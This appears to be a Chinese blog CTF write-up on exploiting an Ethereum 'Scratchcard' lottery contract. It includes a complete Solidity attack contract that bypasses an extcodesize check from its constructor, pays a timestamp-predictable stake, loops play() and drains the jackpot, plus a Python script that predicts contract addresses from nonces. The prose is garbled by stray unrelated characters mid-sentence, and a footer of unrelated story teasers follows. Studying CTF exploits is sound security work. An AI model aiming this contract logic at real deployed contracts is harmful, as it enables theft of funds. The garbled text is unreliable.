      • 獎金庫有3.5ether蔫磨,但是一次也就0.1xxxether,看起來要贏25*17次淘讥。然而其實(shí)可以整數(shù)溢出,所以約等于沒有限制堤如。
    • 要求1:蒲列!isContract窒朋,即extcodesize(account)==0
      • 通過構(gòu)造函數(shù)調(diào)用可以繞過extcodesize=0,但此時沒有fallback會無法transfer吧蝗岖,卒侥猩。——并沒有卒
      • 通過delegatecall使msg.sender為賬戶地址抵赢,但delegatecall不能帶value,卒欺劳。
    • 要求2:(now%10**8)*10**10 == msg.value,每次win都可以把成本拿回來
      • now==block.timestamp 表示當(dāng)前區(qū)塊挖掘時間
  • 放棄了直接看大佬wp
    • 字節(jié)碼逆向下是直接寫了個fallback铅鲤,小于等于二十五次的時候循環(huán)調(diào)用play()划提,大于25了就collect,然后return一串長代碼邢享,內(nèi)容是stop和自毀……這鹏往,看起來和我最初的想法一樣嘛。
  • 最后解決:
    • 就普通的寫在constructor里面然后攻擊成功了……此時代碼區(qū)不是空嗎為什么可以transfer呢()
    • 注意因?yàn)檎{(diào)用ctf_challenge_add_authorized_sender也會增加一次交易骇塘,需要計算的是+2的子合約伊履。

攻擊合約代碼

contract Attacker{

    constructor() public payable {
        Scratchcard target = Scratchcard(0xb53df9b5d0314fcf511bee5e3893649a83d7c5a9);
        for(uint i=0;i<25;i++)
            target.play.value((now%10**8)*10**10)();
        target.collectMegaJackpot(3.5 ether);
    }
    
    function () public payable{}
    
    function kill() public payable {
       selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址 
    }
}

計算子合約地址的代碼再貼一貼

rom ethereum import utils

def getSon(Father,nonce):
    sha3_res = utils.mk_contract_address(Father,nonce)
    sha3_res_de = utils.decode_addr(sha3_res)
    #print('[+]%s,contract_address: %s'%(nonce,sha3_res_de))
    return(sha3_res_de)
    
def FindNonce(Father,Son):
    MaxNonce = 100000
    for nonce in range(MaxNonce):
        res = getSon(Father,nonce)
        if int(res,16)==Son:
            print('[+]the correct nonceis :%s'%(nonce))
            return(int(nonce))
        
developer= 0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6
rainfund = 0xb3dedbe46f78032b9d7032ab5d7cf6c84e818c05
nonce = FindNonce(developer,rainfund)
print(nonce,getSon(developer,nonce),'start to predict',getSon(developer,nonce+1),getSon(developer,nonce+2))

攻擊成功比攻擊不成功帶給我的打擊更大……

image.png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市款违,隨后出現(xiàn)的幾起案子唐瀑,更是在濱河造成了極大的恐慌,老刑警劉巖插爹,帶你破解...
    沈念sama閱讀 216,544評論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件介褥,死亡現(xiàn)場離奇詭異,居然都是意外死亡递惋,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,430評論 3 392
  • 文/潘曉璐 我一進(jìn)店門溢陪,熙熙樓的掌柜王于貴愁眉苦臉地迎上來萍虽,“玉大人,你說我怎么就攤上這事形真∩急啵” “怎么了?”我有些...
    開封第一講書人閱讀 162,764評論 0 353
  • 文/不壞的土叔 我叫張陵咆霜,是天一觀的道長邓馒。 經(jīng)常有香客問我,道長蛾坯,這世上最難降的妖魔是什么光酣? 我笑而不...
    開封第一講書人閱讀 58,193評論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮脉课,結(jié)果婚禮上救军,老公的妹妹穿的比我還像新娘财异。我一直安慰自己,他們只是感情好唱遭,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,216評論 6 388
  • 文/花漫 我一把揭開白布戳寸。 她就那樣靜靜地躺著,像睡著了一般拷泽。 火紅的嫁衣襯著肌膚如雪疫鹊。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,182評論 1 299
  • 那天司致,我揣著相機(jī)與錄音拆吆,去河邊找鬼。 笑死蚌吸,一個胖子當(dāng)著我的面吹牛锈拨,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播羹唠,決...
    沈念sama閱讀 40,063評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼奕枢,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了佩微?” 一聲冷哼從身側(cè)響起缝彬,我...
    開封第一講書人閱讀 38,917評論 0 274
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎哺眯,沒想到半個月后谷浅,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,329評論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡奶卓,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,543評論 2 332
  • 正文 我和宋清朗相戀三年一疯,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片夺姑。...
    茶點(diǎn)故事閱讀 39,722評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡墩邀,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出盏浙,到底是詐尸還是另有隱情眉睹,我是刑警寧澤,帶...
    沈念sama閱讀 35,425評論 5 343
  • 正文 年R本政府宣布废膘,位于F島的核電站竹海,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏丐黄。R本人自食惡果不足惜斋配,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,019評論 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧许起,春花似錦十偶、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,671評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至猛频,卻和暖如春狮崩,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背鹿寻。 一陣腳步聲響...
    開封第一講書人閱讀 32,825評論 1 269
  • 我被黑心中介騙來泰國打工睦柴, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人毡熏。 一個月前我還...
    沈念sama閱讀 47,729評論 2 368
  • 正文 我出身青樓坦敌,卻偏偏與公主長得像,于是被迫代替她去往敵國和親痢法。 傳聞我的和親對象是個殘疾皇子狱窘,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,614評論 2 353

推薦閱讀更多精彩內(nèi)容